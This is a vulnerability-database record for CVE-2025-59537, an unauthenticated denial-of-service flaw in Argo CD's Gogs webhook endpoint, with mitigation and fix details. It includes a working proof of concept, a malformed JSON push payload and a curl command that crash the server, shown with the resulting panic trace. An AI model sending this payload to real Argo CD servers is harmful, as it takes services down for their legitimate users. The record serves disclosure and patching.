{"id":"CVE-2025-59537","aliases":["BIT-argo-cd-2025-59537","GHSA-wp4p-9pxh-cgx2","GO-2025-3996"],"url":"https://o3.security/vulnerability/CVE-2025-59537","summary":"argo-cd is vulnerable to unauthenticated DoS attack via malformed Gogs webhook payload","details":"### Summary\n\nUnpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. \n\nWith the default configuration, no `webhook.gogs.secret` set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field `commits[].repo` is not set or is null.\n\n### Details\n\nUsers can access `/api/webhook` without authentication, and when accessing this endpoint, the `Handler` function parses webhook type messages according to the `header (e.g. X-Gogs-Event)` and `body` parameters provided by the user. The `Parse` function simply unmarshals JSON-type messages. In other words, it returns a data structure even if the data structure is not exactly matched.\n\nThe `affectedRevisionInfo` function parses data according to webhook event types(e.g. `gogsclient.PushPayload`). However, due to the lack of data structure validation corresponding to these events, an attacker can cause a Denial of Service (DoS) attack by sending maliciously crafted data. because of Repository is Pointer Type.\n\n```go\nfunc affectedRevisionInfo(payloadIf any) (webURLs []string, revision string, change changeInfo, touchedHead bool, changedFiles []string) {\n    switch payload := payloadIf.(type) {\n        // ...\n        case gogsclient.PushPayload:\n            webURLs = append(webURLs, payload.Repo.HTMLURL) // bug\n            // ...\n        }\n    return webURLs, revision, change, touchedHead, changedFiles\n}\n\n```\n### PoC\n\npayload-gogs.json\n\n```json\n{\n  \"ref\": \"refs/heads/master\",\n  \"before\": \"0000000000000000000000000000000000000000\",\n  \"after\": \"0a05129851238652bf806a400af89fa974ade739\",\n  \"commits\": [{}]\n}\n```\n\n```shell\ncurl -k -v https://argocd.example.com/api/webhook \\\n  -H 'X-Gogs-Event: push' \\\n  -H 'Content-Type: application/json' \\\n  --data-binary @/tmp/payload-gogs.json\n```\n\nAn attacker can cause a DoS and make the argo-cd service unavailable by continuously sending unauthenticated requests to `/api/webhook`.\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x68 pc=0x280f494]\n\ngoroutine 302 [running]:\ngithub.com/argoproj/argo-cd/v2/util/webhook.affectedRevisionInfo({0x3bd8240?, 0x40005a7030?})\n\t/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:233 +0x594\ngithub.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).HandleEvent(0x40000f9140, {0x3bd8240?, 0x40005a7030?})\n\t/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:254 +0x38\ngithub.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool.func1()\n\t/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:128 +0x60\ncreated by github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool in goroutine 1\n\t/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:121 +0x28\n```\n\n### Mitigation\n\nIf you use Gogs and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.\n\nIf you do not use Gogs, you can set the webhook secret to a long, random value to effectively disable webhook handling for Gogs payloads.\n\n```diff\napiVersion: v1\nkind: Secret\nmetadata:\n  name: argocd-secret\ntype: Opaque\ndata:\n+  webhook.gogs.secret: <your base64-encoded secret here>\n```\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credit\n\nSangjun Song (s0ngsari) at Theori (theori.io)","published":"2025-10-01T21:01:36.519Z","modified":"2026-10-28T02:30:36.737685447Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/argoproj/argo-cd","fixedVersion":null},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v2","fixedVersion":"2.14.20"},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v3","fixedVersion":"3.2.0-rc2"},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v3","fixedVersion":"3.1.8"},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v3","fixedVersion":"3.0.19"}],"fix":{"url":"https://github.com/argoproj/argo-cd/commit/761fc27068d2d4cd24e1f784eb2a9033b5ee7f43","label":"argoproj/argo-cd@761fc27"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/59xxx/CVE-2025-59537.json"},{"type":"ADVISORY","url":"https://github.com/argoproj/argo-cd/security/advisories/GHSA-wp4p-9pxh-cgx2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59537"},{"type":"FIX","url":"https://github.com/argoproj/argo-cd/commit/761fc27068d2d4cd24e1f784eb2a9033b5ee7f43"},{"type":"PACKAGE","url":"https://github.com/argoproj/argo-cd"},{"type":"WEB","url":"https://pkg.go.dev/vuln/GO-2025-39896"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:36.737685447Z"}}